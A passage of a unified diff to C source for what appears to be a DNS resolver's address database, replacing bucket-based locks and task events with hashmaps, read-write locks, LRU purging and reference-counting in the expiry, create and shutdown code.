-			UNLOCK(&adb->entrylocks[bucket]);
-			bucket = DNS_ADB_INVALIDBUCKET;
-			namehook = ISC_LIST_NEXT(namehook, plink);
+			UNLOCK(&entry->lock);
+			namehook = ISC_LIST_NEXT(namehook, name_link);
 		}
 	}
+}
 
-out:
-	if (bucket != DNS_ADB_INVALIDBUCKET) {
-		UNLOCK(&adb->entrylocks[bucket]);
+/*
+ * The name must be locked and write lock on adb->names_lock must be held.
+ */
+static bool
+maybe_expire_name(dns_adbname_t *adbname, isc_stdtime_t now) {
+	REQUIRE(DNS_ADBNAME_VALID(adbname));
+
+	/* Leave this name alone if it still has active namehooks... */
+	if (NAME_HAS_V4(adbname) || NAME_HAS_V6(adbname)) {
+		return (false);
 	}
-}
 
-static void
-shutdown_task(isc_task_t *task, isc_event_t *ev) {
-	dns_adb_t *adb;
+	/* ...an active fetch in progres... */
+	if (NAME_FETCH(adbname)) {
+		return (false);
+	}
 
-	UNUSED(task);
+	/* ... or is not yet expired. */
+	if (!EXPIRE_OK(adbname->expire_v4, now) ||
+	    !EXPIRE_OK(adbname->expire_v6, now) ||
+	    !EXPIRE_OK(adbname->expire_target, now))
+	{
+		return (false);
+	}
 
-	adb = ev->ev_arg;
-	INSIST(DNS_ADB_VALID(adb));
+	expire_name(adbname, DNS_ADB_EXPIRED);
 
-	isc_event_free(&ev);
-	/*
-	 * Wait for lock around check_exit() call to be released.
-	 */
-	LOCK(&adb->lock);
-	UNLOCK(&adb->lock);
-	destroy(adb);
+	return (true);
 }
 
-/*
- * Name bucket must be locked; adb may be locked; no other locks held.
- */
-static bool
-check_expire_name(dns_adbname_t **namep, isc_stdtime_t now) {
-	dns_adbname_t *name;
-	bool result = false;
+static void
+expire_entry(dns_adbentry_t *adbentry) {
+	isc_result_t result;
+	dns_adb_t *adb = adbentry->adb;
 
-	INSIST(namep != NULL && DNS_ADBNAME_VALID(*namep));
-	name = *namep;
+	if (!ENTRY_DEAD(adbentry)) {
+		adbentry->flags |= ENTRY_IS_DEAD;
 
-	if (NAME_HAS_V4(name) || NAME_HAS_V6(name)) {
-		return (result);
-	}
-	if (NAME_FETCH(name)) {
-		return (result);
-	}
-	if (!EXPIRE_OK(name->expire_v4, now)) {
-		return (result);
+		result = isc_hashmap_delete(adb->entries, NULL,
+					    &adbentry->sockaddr,
+					    sizeof(adbentry->sockaddr));
+		RUNTIME_CHECK(result == ISC_R_SUCCESS);
+		ISC_LIST_UNLINK(adb->entries_lru, adbentry, link);
 	}
-	if (!EXPIRE_OK(name->expire_v6, now)) {
-		return (result);
+
+	dns_adbentry_detach(&adbentry);
+}
+
+static bool
+entry_expired(dns_adbentry_t *adbentry, isc_stdtime_t now) {
+	if (!ISC_LIST_EMPTY(adbentry->nhs)) {
+		return (false);
 	}
-	if (!EXPIRE_OK(name->expire_target, now)) {
-		return (result);
+
+	if (adbentry->expires == 0 || adbentry->expires > now) {
+		return (false);
 	}
 
-	/*
-	 * The name is empty.  Delete it.
-	 */
-	*namep = NULL;
-	result = kill_name(&name, DNS_EVENT_ADBEXPIRED);
+	return (true);
+}
 
-	/*
-	 * Our caller, or one of its callers, will be calling check_exit() at
-	 * some point, so we don't need to do it here.
-	 */
-	return (result);
+static bool
+maybe_expire_entry(dns_adbentry_t *adbentry, isc_stdtime_t now) {
+	REQUIRE(DNS_ADBENTRY_VALID(adbentry));
+
+	if (entry_expired(adbentry, now)) {
+		expire_entry(adbentry);
+		return (true);
+	}
+
+	return (false);
 }
 
 /*%
@@ -2394,21 +1725,16 @@ check_expire_name(dns_adbname_t **namep, isc_stdtime_t now) {
  * is in the overmem condition, the tail and the next to tail entries
  * will be unconditionally removed (unless they have an outstanding fetch).
  * We don't care about a race on 'overmem' at the risk of causing some
- * collateral damage or a small delay in starting cleanup, so we don't bother
- * to lock ADB (if it's not locked).
+ * collateral damage or a small delay in starting cleanup.
  *
- * Name bucket must be locked; adb may be locked; no other locks held.
+ * adb->names_lock MUST be write locked
  */
 static void
-check_stale_name(dns_adb_t *adb, int bucket, isc_stdtime_t now) {
-	int victims, max_victims;
-	dns_adbname_t *victim, *next_victim;
-	bool overmem = isc_mem_isovermem(adb->mctx);
-	int scans = 0;
-
-	INSIST(bucket != DNS_ADB_INVALIDBUCKET);
-
-	max_victims = overmem ? 2 : 1;
+purge_stale_names(dns_adb_t *adb, isc_stdtime_t now) {
+	bool overmem = atomic_load_relaxed(&adb->is_overmem);
+	int max_removed = overmem ? 2 : 1;
+	int scans = 0, removed = 0;
+	dns_adbname_t *prev = NULL;
 
 	/*
 	 * We limit the number of scanned entries to 10 (arbitrary choice)
@@ -2416,594 +1742,333 @@ check_stale_name(dns_adb_t *adb, int bucket, isc_stdtime_t now) {
 	 * tail entries that have fetches (this should be rare, but could
 	 * happen).
 	 */
-	victim = ISC_LIST_TAIL(adb->names[bucket]);
-	for (victims = 0; victim != NULL && victims < max_victims && scans < 10;
-	     victim = next_victim)
+
+	for (dns_adbname_t *adbname = ISC_LIST_TAIL(adb->names_lru);
+	     adbname != NULL && removed < max_removed && scans < 10;
+	     adbname = prev)
 	{
-		INSIST(!NAME_DEAD(victim));
+		prev = ISC_LIST_PREV(adbname, link);
+
+		dns_adbname_ref(adbname);
+		LOCK(&adbname->lock);
+
 		scans++;
-		next_victim = ISC_LIST_PREV(victim, plink);
-		(void)check_expire_name(&victim, now);
-		if (victim == NULL) {
-			victims++;
+
+		/*
+		 * Remove the name if it's expired or unused,
+		 * has no address data.
+		 */
+		maybe_expire_namehooks(adbname, now);
+		if (maybe_expire_name(adbname, now)) {
+			removed++;
 			goto next;
 		}
 
-		if (!NAME_FETCH(victim) &&
-		    (overmem || victim->last_used + ADB_STALE_MARGIN <= now))
-		{
-			RUNTIME_CHECK(
-				!kill_name(&victim, DNS_EVENT_ADBCANCELED));
-			victims++;
+		/*
+		 * Make sure that we are not purging ADB names that has been
+		 * just created.
+		 */
+		if (adbname->last_used + ADB_CACHE_MINIMUM >= now) {
+			prev = NULL;
+			goto next;
 		}
 
-	next:
-		if (!overmem) {
-			break;
+		if (overmem) {
+			expire_name(adbname, DNS_ADB_CANCELED);
+			removed++;
+			goto next;
+		}
+
+		if (adbname->last_used + ADB_STALE_MARGIN < now) {
+			expire_name(adbname, DNS_ADB_CANCELED);
+			removed++;
+			goto next;
 		}
+
+		/*
+		 * We won't expire anything on the LRU list as the
+		 * .last_used + ADB_STALE_MARGIN will always be bigger
+		 * than `now` for all previous entries, so we just stop
+		 * the scanning.
+		 */
+		prev = NULL;
+	next:
+		UNLOCK(&adbname->lock);
+		dns_adbname_detach(&adbname);
 	}
 }
 
-/*
- * Entry bucket must be locked; adb may be locked; no other locks held.
- */
-static bool
-check_expire_entry(dns_adb_t *adb, dns_adbentry_t **entryp, isc_stdtime_t now) {
-	dns_adbentry_t *entry;
-	bool result = false;
+static void
+cleanup_names(dns_adb_t *adb, isc_stdtime_t now) {
+	dns_adbname_t *next = NULL;
 
-	INSIST(entryp != NULL && DNS_ADBENTRY_VALID(*entryp));
-	entry = *entryp;
+	RWLOCK(&adb->names_lock, isc_rwlocktype_write);
+	for (dns_adbname_t *adbname = ISC_LIST_HEAD(adb->names_lru);
+	     adbname != NULL; adbname = next)
+	{
+		next = ISC_LIST_NEXT(adbname, link);
 
-	if (entry->refcnt != 0) {
-		return (result);
+		dns_adbname_ref(adbname);
+		LOCK(&adbname->lock);
+		/*
+		 * Name hooks expire after the address record's TTL
+		 * or 30 minutes, whichever is shorter. If after cleaning
+		 * those up there are no name hooks left, and no active
+		 * fetches, we can remove this name from the bucket.
+		 */
+		maybe_expire_namehooks(adbname, now);
+		(void)maybe_expire_name(adbname, now);
+		UNLOCK(&adbname->lock);
+		dns_adbname_detach(&adbname);
 	}
+	RWUNLOCK(&adb->names_lock, isc_rwlocktype_write);
+}
 
-	if (entry->expires == 0 || entry->expires > now) {
-		return (result);
-	}
+/*%
+ * Examine the tail entry of the LRU list to see if it expires or is stale
+ * (unused for some period); if so, the name entry will be freed.  If the ADB
+ * is in the overmem condition, the tail and the next to tail entries
+ * will be unconditionally removed (unless they have an outstanding fetch).
+ * We don't care about a race on 'overmem' at the risk of causing some
+ * collateral damage or a small delay in starting cleanup.
+ *
+ * adb->entries_lock MUST be write locked
+ */
+static void
+purge_stale_entries(dns_adb_t *adb, isc_stdtime_t now) {
+	bool overmem = atomic_load_relaxed(&adb->is_overmem);
+	int max_removed = overmem ? 2 : 1;
+	int scans = 0, removed = 0;
+	dns_adbentry_t *prev = NULL;
 
 	/*
-	 * The entry is not in use.  Delete it.
+	 * We limit the number of scanned entries to 10 (arbitrary choice)
+	 * in order to avoid examining too many entries when there are many
+	 * tail entries that have fetches (this should be rare, but could
+	 * happen).
 	 */
-	*entryp = NULL;
-	DP(DEF_LEVEL, "killing entry %p", entry);
-	INSIST(ISC_LINK_LINKED(entry, plink));
-	result = unlink_entry(adb, entry);
-	free_adbentry(adb, &entry);
-	if (result) {
-		dec_adb_irefcnt(adb);
-	}
-	return (result);
-}
 
-/*
- * ADB must be locked, and no other locks held.
- */
-static bool
-cleanup_names(dns_adb_t *adb, int bucket, isc_stdtime_t now) {
-	dns_adbname_t *name;
-	dns_adbname_t *next_name;
-	bool result = false;
+	for (dns_adbentry_t *adbentry = ISC_LIST_TAIL(adb->entries_lru);
+	     adbentry != NULL && removed < max_removed && scans < 10;
+	     adbentry = prev)
+	{
+		prev = ISC_LIST_PREV(adbentry, link);
+
+		dns_adbentry_ref(adbentry);
+		LOCK(&adbentry->lock);
+
+		scans++;
+
+		/*
+		 * Remove the entry if it's expired and unused.
+		 */
+		if (maybe_expire_entry(adbentry, now)) {
+			removed++;
+			goto next;
+		}
 
-	DP(CLEAN_LEVEL, "cleaning name bucket %d", bucket);
+		/*
+		 * Make sure that we are not purging ADB entry that has been
+		 * just created.
+		 */
+		if (adbentry->last_used + ADB_CACHE_MINIMUM >= now) {
+			prev = NULL;
+			goto next;
+		}
 
-	LOCK(&adb->namelocks[bucket]);
-	if (adb->name_sd[bucket]) {
-		UNLOCK(&adb->namelocks[bucket]);
-		return (result);
-	}
+		if (overmem) {
+			maybe_expire_entry(adbentry, INT_MAX);
+			removed++;
+			goto next;
+		}
 
-	name = ISC_LIST_HEAD(adb->names[bucket]);
-	while (name != NULL) {
-		next_name = ISC_LIST_NEXT(name, plink);
-		INSIST(!result);
-		result = check_expire_namehooks(name, now);
-		if (!result) {
-			result = check_expire_name(&name, now);
+		if (adbentry->last_used + ADB_STALE_MARGIN < now) {
+			maybe_expire_entry(adbentry, INT_MAX);
+			removed++;
+			goto next;
 		}
-		name = next_name;
+
+		/*
+		 * We won't expire anything on the LRU list as the
+		 * .last_used + ADB_STALE_MARGIN will always be bigger
+		 * than `now` for all previous entries, so we just stop
+		 * the scanning
+		 */
+		prev = NULL;
+	next:
+		UNLOCK(&adbentry->lock);
+		dns_adbentry_detach(&adbentry);
 	}
-	UNLOCK(&adb->namelocks[bucket]);
-	return (result);
 }
 
-/*
- * ADB must be locked, and no other locks held.
- */
-static bool
-cleanup_entries(dns_adb_t *adb, int bucket, isc_stdtime_t now) {
-	dns_adbentry_t *entry, *next_entry;
-	bool result = false;
+static void
+cleanup_entries(dns_adb_t *adb, isc_stdtime_t now) {
+	dns_adbentry_t *next = NULL;
 
-	DP(CLEAN_LEVEL, "cleaning entry bucket %d", bucket);
+	RWLOCK(&adb->entries_lock, isc_rwlocktype_write);
+	for (dns_adbentry_t *adbentry = ISC_LIST_HEAD(adb->entries_lru);
+	     adbentry != NULL; adbentry = next)
+	{
+		next = ISC_LIST_NEXT(adbentry, link);
 
-	LOCK(&adb->entrylocks[bucket]);
-	entry = ISC_LIST_HEAD(adb->entries[bucket]);
-	while (entry != NULL) {
-		next_entry = ISC_LIST_NEXT(entry, plink);
-		INSIST(!result);
-		result = check_expire_entry(adb, &entry, now);
-		entry = next_entry;
+		dns_adbentry_ref(adbentry);
+		LOCK(&adbentry->lock);
+		maybe_expire_entry(adbentry, now);
+		UNLOCK(&adbentry->lock);
+		dns_adbentry_detach(&adbentry);
 	}
-	UNLOCK(&adb->entrylocks[bucket]);
-	return (result);
+	RWUNLOCK(&adb->entries_lock, isc_rwlocktype_write);
 }
 
 static void
 destroy(dns_adb_t *adb) {
+	DP(DEF_LEVEL, "destroying ADB %p", adb);
+
 	adb->magic = 0;
 
-	isc_task_detach(&adb->task);
-	if (adb->excl != NULL) {
-		isc_task_detach(&adb->excl);
-	}
-
-	isc_mempool_destroy(&adb->nmp);
-	isc_mempool_destroy(&adb->nhmp);
-	isc_mempool_destroy(&adb->limp);
-	isc_mempool_destroy(&adb->emp);
-	isc_mempool_destroy(&adb->ahmp);
-	isc_mempool_destroy(&adb->aimp);
-	isc_mempool_destroy(&adb->afmp);
-
-	isc_mutexblock_destroy(adb->entrylocks, adb->nentries);
-	isc_mem_put(adb->mctx, adb->entries,
-		    sizeof(*adb->entries) * adb->nentries);
-	isc_mem_put(adb->mctx, adb->deadentries,
-		    sizeof(*adb->deadentries) * adb->nentries);
-	isc_mem_put(adb->mctx, adb->entrylocks,
-		    sizeof(*adb->entrylocks) * adb->nentries);
-	isc_mem_put(adb->mctx, adb->entry_sd,
-		    sizeof(*adb->entry_sd) * adb->nentries);
-	isc_mem_put(adb->mctx, adb->entry_refcnt,
-		    sizeof(*adb->entry_refcnt) * adb->nentries);
-
-	isc_mutexblock_destroy(adb->namelocks, adb->nnames);
-	isc_mem_put(adb->mctx, adb->names, sizeof(*adb->names) * adb->nnames);
-	isc_mem_put(adb->mctx, adb->deadnames,
-		    sizeof(*adb->deadnames) * adb->nnames);
-	isc_mem_put(adb->mctx, adb->namelocks,
-		    sizeof(*adb->namelocks) * adb->nnames);
-	isc_mem_put(adb->mctx, adb->name_sd,
-		    sizeof(*adb->name_sd) * adb->nnames);
-	isc_mem_put(adb->mctx, adb->name_refcnt,
-		    sizeof(*adb->name_refcnt) * adb->nnames);
-
-	isc_mutex_destroy(&adb->reflock);
+	RWLOCK(&adb->names_lock, isc_rwlocktype_write);
+	INSIST(isc_hashmap_count(adb->names) == 0);
+	isc_hashmap_destroy(&adb->names);
+	RWUNLOCK(&adb->names_lock, isc_rwlocktype_write);
+	isc_rwlock_destroy(&adb->names_lock);
+
+	RWLOCK(&adb->entries_lock, isc_rwlocktype_write);
+	/* There are no unassociated entries */
+	INSIST(isc_hashmap_count(adb->entries) == 0);
+	isc_hashmap_destroy(&adb->entries);
+	RWUNLOCK(&adb->entries_lock, isc_rwlocktype_write);
+	isc_rwlock_destroy(&adb->entries_lock);
+
+	isc_mem_detach(&adb->hmctx);
+
 	isc_mutex_destroy(&adb->lock);
-	isc_mutex_destroy(&adb->mplock);
-	isc_mutex_destroy(&adb->overmemlock);
-	isc_mutex_destroy(&adb->entriescntlock);
-	isc_mutex_destroy(&adb->namescntlock);
+	isc_refcount_destroy(&adb->references);
 
+	isc_stats_detach(&adb->stats);
+	dns_resolver_detach(&adb->res);
+	dns_view_weakdetach(&adb->view);
 	isc_mem_putanddetach(&adb->mctx, adb, sizeof(dns_adb_t));
 }
 
+#if DNS_ADB_TRACE
+ISC_REFCOUNT_TRACE_IMPL(dns_adb, destroy);
+#else
+ISC_REFCOUNT_IMPL(dns_adb, destroy);
+#endif
+
 /*
  * Public functions.
  */
 
-isc_result_t
-dns_adb_create(isc_mem_t *mem, dns_view_t *view, isc_timermgr_t *timermgr,
-	       isc_taskmgr_t *taskmgr, dns_adb_t **newadb) {
-	dns_adb_t *adb;
-	isc_result_t result;
-	unsigned int i;
+void
+dns_adb_create(isc_mem_t *mem, dns_view_t *view, isc_loopmgr_t *loopmgr,
+	       dns_adb_t **newadb) {
+	dns_adb_t *adb = NULL;
 
 	REQUIRE(mem != NULL);
 	REQUIRE(view != NULL);
-	REQUIRE(timermgr != NULL); /* this is actually unused */
-	REQUIRE(taskmgr != NULL);
 	REQUIRE(newadb != NULL && *newadb == NULL);
 
-	UNUSED(timermgr);
-
 	adb = isc_mem_get(mem, sizeof(dns_adb_t));
+	*adb = (dns_adb_t){
+		.loopmgr = loopmgr,
+		.names_lru = ISC_LIST_INITIALIZER,
+		.entries_lru = ISC_LIST_INITIALIZER,
+	};
 
 	/*
 	 * Initialize things here that cannot fail, and especially things
 	 * that must be NULL for the error return to work properly.
 	 */
-	adb->magic = 0;
-	adb->erefcnt = 1;
-	adb->irefcnt = 0;
-	adb->nmp = NULL;
-	adb->nhmp = NULL;
-	adb->limp = NULL;
-	adb->emp = NULL;
-	adb->ahmp = NULL;
-	adb->aimp = NULL;
-	adb->afmp = NULL;
-	adb->task = NULL;
-	adb->excl = NULL;
-	adb->mctx = NULL;
-	adb->view = view;
-	adb->taskmgr = taskmgr;
-	adb->next_cleanbucket = 0;
-	ISC_EVENT_INIT(&adb->cevent, sizeof(adb->cevent), 0, NULL, 0, NULL,
-		       NULL, NULL, NULL, NULL);
-	adb->cevent_out = false;
-	adb->shutting_down = false;
-	ISC_LIST_INIT(adb->whenshutdown);
-
-	adb->nentries = nbuckets[0];
-	adb->entriescnt = 0;
-	adb->entries = NULL;
-	adb->deadentries = NULL;
-	adb->entry_sd = NULL;
-	adb->entry_refcnt = NULL;
-	adb->entrylocks = NULL;
-	ISC_EVENT_INIT(&adb->growentries, sizeof(adb->growentries), 0, NULL,
-		       DNS_EVENT_ADBGROWENTRIES, grow_entries, adb, adb, NULL,
-		       NULL);
-	adb->growentries_sent = false;
-
-	adb->quota = 0;
-	adb->atr_freq = 0;
-	adb->atr_low = 0.0;
-	adb->atr_high = 0.0;
-	adb->atr_discount = 0.0;
-
-	adb->nnames = nbuckets[0];
-	adb->namescnt = 0;
-	adb->names = NULL;
-	adb->deadnames = NULL;
-	adb->name_sd = NULL;
-	adb->name_refcnt = NULL;
-	adb->namelocks = NULL;
-	ISC_EVENT_INIT(&adb->grownames, sizeof(adb->grownames), 0, NULL,
-		       DNS_EVENT_ADBGROWNAMES, grow_names, adb, adb, NULL,
-		       NULL);
-	adb->grownames_sent = false;
-
-	result = isc_taskmgr_excltask(adb->taskmgr, &adb->excl);
-	if (result != ISC_R_SUCCESS) {
-		DP(DEF_LEVEL,
-		   "adb: task-exclusive mode unavailable, "
-		   "initializing table sizes to %u\n",
-		   nbuckets[11]);
-		adb->nentries = nbuckets[11];
-		adb->nnames = nbuckets[11];
-	}
-
+#if DNS_ADB_TRACE
+	fprintf(stderr, "dns_adb__init:%s:%s:%d:%p->references = 1\n", __func__,
+		__FILE__, __LINE__ + 1, adb);
+#endif
+	isc_refcount_init(&adb->references, 1);
+	dns_view_weakattach(view, &adb->view);
+	dns_resolver_attach(view->resolver, &adb->res);
 	isc_mem_attach(mem, &adb->mctx);
 
-	isc_mutex_init(&adb->lock);
-	isc_mutex_init(&adb->mplock);
-	isc_mutex_init(&adb->reflock);
-	isc_mutex_init(&adb->overmemlock);
-	isc_mutex_init(&adb->entriescntlock);
-	isc_mutex_init(&adb->namescntlock);
-
-#define ALLOCENTRY(adb, el)                                                    \
-	do {                                                                   \
-		(adb)->el = isc_mem_get((adb)->mctx,                           \
-					sizeof(*(adb)->el) * (adb)->nentries); \
-		if ((adb)->el == NULL) {                                       \
-			result = ISC_R_NOMEMORY;                               \
-			goto fail1;                                            \
-		}                                                              \
-	} while (0)
-	ALLOCENTRY(adb, entries);
-	ALLOCENTRY(adb, deadentries);
-	ALLOCENTRY(adb, entrylocks);
-	ALLOCENTRY(adb, entry_sd);
-	ALLOCENTRY(adb, entry_refcnt);
-#undef ALLOCENTRY
-
-#define ALLOCNAME(adb, el)                                                   \
-	do {                                                                 \
-		(adb)->el = isc_mem_get((adb)->mctx,                         \
-					sizeof(*(adb)->el) * (adb)->nnames); \
-		if ((adb)->el == NULL) {                                     \
-			result = ISC_R_NOMEMORY;                             \
-			goto fail1;                                          \
-		}                                                            \
-	} while (0)
-	ALLOCNAME(adb, names);
-	ALLOCNAME(adb, deadnames);
-	ALLOCNAME(adb, namelocks);
-	ALLOCNAME(adb, name_sd);
-	ALLOCNAME(adb, name_refcnt);
-#undef ALLOCNAME
-
-	/*
-	 * Initialize the bucket locks for names and elements.
-	 * May as well initialize the list heads, too.
-	 */
-	isc_mutexblock_init(adb->namelocks, adb->nnames);
-
-	for (i = 0; i < adb->nnames; i++) {
-		ISC_LIST_INIT(adb->names[i]);
-		ISC_LIST_INIT(adb->deadnames[i]);
-		adb->name_sd[i] = false;
-		adb->name_refcnt[i] = 0;
-		adb->irefcnt++;
-	}
-	for (i = 0; i < adb->nentries; i++) {
-		ISC_LIST_INIT(adb->entries[i]);
-		ISC_LIST_INIT(adb->deadentries[i]);
-		adb->entry_sd[i] = false;
-		adb->entry_refcnt[i] = 0;
-		adb->irefcnt++;
-	}
-	isc_mutexblock_init(adb->entrylocks, adb->nentries);
+	isc_mem_create(&adb->hmctx);
+	isc_mem_setname(adb->hmctx, "ADB_hashmaps");
 
-	/*
-	 * Memory pools
-	 */
-#define MPINIT(t, p, n)                                       \
-	do {                                                  \
-		isc_mempool_create(mem, sizeof(t), &(p));     \
-		isc_mempool_setfreemax((p), FREE_ITEMS);      \
-		isc_mempool_setfillcount((p), FILL_COUNT);    \
-		isc_mempool_setname((p), n);                  \
-		isc_mempool_associatelock((p), &adb->mplock); \
-	} while (0)
-
-	MPINIT(dns_adbname_t, adb->nmp, "adbname");
-	MPINIT(dns_adbnamehook_t, adb->nhmp, "adbnamehook");
-	MPINIT(dns_adblameinfo_t, adb->limp, "adblameinfo");
-	MPINIT(dns_adbentry_t, adb->emp, "adbentry");
-	MPINIT(dns_adbfind_t, adb->ahmp, "adbfind");
-	MPINIT(dns_adbaddrinfo_t, adb->aimp, "adbaddrinfo");
-	MPINIT(dns_adbfetch_t, adb->afmp, "adbfetch");
-
-#undef MPINIT
+	isc_hashmap_create(adb->hmctx, ADB_HASH_BITS,
+			   ISC_HASHMAP_CASE_INSENSITIVE, &adb->names);
+	isc_rwlock_init(&adb->names_lock);
 
-	/*
-	 * Allocate an internal task.
-	 */
-	result = isc_task_create(adb->taskmgr, 0, &adb->task);
-	if (result != ISC_R_SUCCESS) {
-		goto fail2;
-	}
+	isc_hashmap_create(adb->hmctx, ADB_HASH_BITS,
+			   ISC_HASHMAP_CASE_SENSITIVE, &adb->entries);
+	isc_rwlock_init(&adb->entries_lock);
 
-	isc_task_setname(adb->task, "ADB", adb);
+	isc_mutex_init(&adb->lock);
 
-	result = isc_stats_create(adb->mctx, &view->adbstats, dns_adbstats_max);
-	if (result != ISC_R_SUCCESS) {
-		goto fail2;
-	}
+	isc_stats_create(adb->mctx, &adb->stats, dns_adbstats_max);
 
-	set_adbstat(adb, adb->nentries, dns_adbstats_nentries);
-	set_adbstat(adb, adb->nnames, dns_adbstats_nnames);
+	set_adbstat(adb, 0, dns_adbstats_nnames);
+	set_adbstat(adb, 0, dns_adbstats_nentries);
 
 	/*
 	 * Normal return.
 	 */
 	adb->magic = DNS_ADB_MAGIC;
 	*newadb = adb;
-	return (ISC_R_SUCCESS);
-
-fail2:
-	if (adb->task != NULL) {
-		isc_task_detach(&adb->task);
-	}
-
-	/* clean up entrylocks */
-	isc_mutexblock_destroy(adb->entrylocks, adb->nentries);
-	isc_mutexblock_destroy(adb->namelocks, adb->nnames);
-
-fail1: /* clean up only allocated memory */
-	if (adb->entries != NULL) {
-		isc_mem_put(adb->mctx, adb->entries,
-			    sizeof(*adb->entries) * adb->nentries);
-	}
-	if (adb->deadentries != NULL) {
-		isc_mem_put(adb->mctx, adb->deadentries,
-			    sizeof(*adb->deadentries) * adb->nentries);
-	}
-	if (adb->entrylocks != NULL) {
-		isc_mem_put(adb->mctx, adb->entrylocks,
-			    sizeof(*adb->entrylocks) * adb->nentries);
-	}
-	if (adb->entry_sd != NULL) {
-		isc_mem_put(adb->mctx, adb->entry_sd,
-			    sizeof(*adb->entry_sd) * adb->nentries);
-	}
-	if (adb->entry_refcnt != NULL) {
-		isc_mem_put(adb->mctx, adb->entry_refcnt,
-			    sizeof(*adb->entry_refcnt) * adb->nentries);
-	}
-	if (adb->names != NULL) {
-		isc_mem_put(adb->mctx, adb->names,
-			    sizeof(*adb->names) * adb->nnames);
-	}
-	if (adb->deadnames != NULL) {
-		isc_mem_put(adb->mctx, adb->deadnames,
-			    sizeof(*adb->deadnames) * adb->nnames);
-	}
-	if (adb->namelocks != NULL) {
-		isc_mem_put(adb->mctx, adb->namelocks,
-			    sizeof(*adb->namelocks) * adb->nnames);
-	}
-	if (adb->name_sd != NULL) {
-		isc_mem_put(adb->mctx, adb->name_sd,
-			    sizeof(*adb->name_sd) * adb->nnames);
-	}
-	if (adb->name_refcnt != NULL) {
-		isc_mem_put(adb->mctx, adb->name_refcnt,
-			    sizeof(*adb->name_refcnt) * adb->nnames);
-	}
-	if (adb->nmp != NULL) {
-		isc_mempool_destroy(&adb->nmp);
-	}
-	if (adb->nhmp != NULL) {
-		isc_mempool_destroy(&adb->nhmp);
-	}
-	if (adb->limp != NULL) {
-		isc_mempool_destroy(&adb->limp);
-	}
-	if (adb->emp != NULL) {
-		isc_mempool_destroy(&adb->emp);
-	}
-	if (adb->ahmp != NULL) {
-		isc_mempool_destroy(&adb->ahmp);
-	}
-	if (adb->aimp != NULL) {
-		isc_mempool_destroy(&adb->aimp);
-	}
-	if (adb->afmp != NULL) {
-		isc_mempool_destroy(&adb->afmp);
-	}
-
-	isc_mutex_destroy(&adb->namescntlock);
-	isc_mutex_destroy(&adb->entriescntlock);
-	isc_mutex_destroy(&adb->overmemlock);
-	isc_mutex_destroy(&adb->reflock);
-	isc_mutex_destroy(&adb->mplock);
-	isc_mutex_destroy(&adb->lock);
-	if (adb->excl != NULL) {
-		isc_task_detach(&adb->excl);
-	}
-	isc_mem_putanddetach(&adb->mctx, adb, sizeof(dns_adb_t));
-
-	return (result);
-}
-
-void
-dns_adb_attach(dns_adb_t *adb, dns_adb_t **adbx) {
-	REQUIRE(DNS_ADB_VALID(adb));
-	REQUIRE(adbx != NULL && *adbx == NULL);
-
-	inc_adb_erefcnt(adb);
-	*adbx = adb;
-}
-
-void
-dns_adb_detach(dns_adb_t **adbx) {
-	dns_adb_t *adb;
-	bool need_exit_check;
-
-	REQUIRE(adbx != NULL && DNS_ADB_VALID(*adbx));
-
-	adb = *adbx;
-	*adbx = NULL;
-
-	LOCK(&adb->reflock);
-	INSIST(adb->erefcnt > 0);
-	adb->erefcnt--;
-	need_exit_check = (adb->erefcnt == 0 && adb->irefcnt == 0);
-	UNLOCK(&adb->reflock);
-
-	if (need_exit_check) {
-		LOCK(&adb->lock);
-		INSIST(adb->shutting_down);
-		check_exit(adb);
-		UNLOCK(&adb->lock);
-	}
 }
 
 void
-dns_adb_whenshutdown(dns_adb_t *adb, isc_task_t *task, isc_event_t **eventp) {
-	isc_task_t *tclone;
-	isc_event_t *event;
-	bool zeroirefcnt;
-
-	/*
-	 * Send '*eventp' to 'task' when 'adb' has shutdown.
-	 */
-
-	REQUIRE(DNS_ADB_VALID(adb));
-	REQUIRE(eventp != NULL);
-
-	event = *eventp;
-	*eventp = NULL;
-
-	LOCK(&adb->lock);
-	LOCK(&adb->reflock);
-
-	zeroirefcnt = (adb->irefcnt == 0);
-
-	if (adb->shutting_down && zeroirefcnt &&
-	    isc_mempool_getallocated(adb->ahmp) == 0)
+dns_adb_shutdown(dns_adb_t *adb) {
+	if (!atomic_compare_exchange_strong(&adb->exiting, &(bool){ false },
+					    true))
 	{
-		/*
-		 * We're already shutdown.  Send the event.
-		 */
-		event->ev_sender = adb;
-		isc_task_send(task, &event);
-	} else {
-		tclone = NULL;
-		isc_task_attach(task, &tclone);
-		event->ev_sender = tclone;
-		ISC_LIST_APPEND(adb->whenshutdown, event, ev_link);
-	}
-
-	UNLOCK(&adb->reflock);
-	UNLOCK(&adb->lock);
-}
-
-static void
-shutdown_stage2(isc_task_t *task, isc_event_t *event) {
-	dns_adb_t *adb;
-
-	UNUSED(task);
-
-	adb = event->ev_arg;
-	INSIST(DNS_ADB_VALID(adb));
-
-	LOCK(&adb->lock);
-	INSIST(adb->shutting_down);
-	adb->cevent_out = false;
-	(void)shutdown_names(adb);
-	(void)shutdown_entries(adb);
-	if (dec_adb_irefcnt(adb)) {
-		check_exit(adb);
+		return;
 	}
-	UNLOCK(&adb->lock);
-}
 
-void
-dns_adb_shutdown(dns_adb_t *adb) {
-	isc_event_t *event;
-
-	/*
-	 * Shutdown 'adb'.
-	 */
-
-	LOCK(&adb->lock);
+	DP(DEF_LEVEL, "shutting down ADB %p", adb);
 
-	if (!adb->shutting_down) {
-		adb->shutting_down = true;
-		isc_mem_setwater(adb->mctx, water, adb, 0, 0);
-		/*
-		 * Isolate shutdown_names and shutdown_entries calls.
-		 */
-		inc_adb_irefcnt(adb);
-		ISC_EVENT_INIT(&adb->cevent, sizeof(adb->cevent), 0, NULL,
-			       DNS_EVENT_ADBCONTROL, shutdown_stage2, adb, adb,
-			       NULL, NULL);
-		adb->cevent_out = true;
-		event = &adb->cevent;
-		isc_task_send(adb->task, &event);
-	}
+	isc_mem_clearwater(adb->mctx);
 
-	UNLOCK(&adb->lock);
+	shutdown_names(adb);
+	shutdown_entries(adb);
 }
 
+/*
+ * Look up the name in our internal database.
+ *
+ * There are three possibilities. Note that these are not always exclusive.
+ *
+ * - No name found.  In this case, allocate a new name header and
+ *   an initial namehook or two.
+ *
+ * - Name found, valid addresses present.  Allocate one addrinfo
+ *   structure for each found and append it to the linked list
+ *   of addresses for this header.
+ *
+ * - Name found, queries pending.  In this case, if a loop was
+ *   passed in, allocate a job id, attach it to the name's job
+ *   list and remember to tell the caller that there will be
+ *   more info coming later.
+ */
 isc_result_t
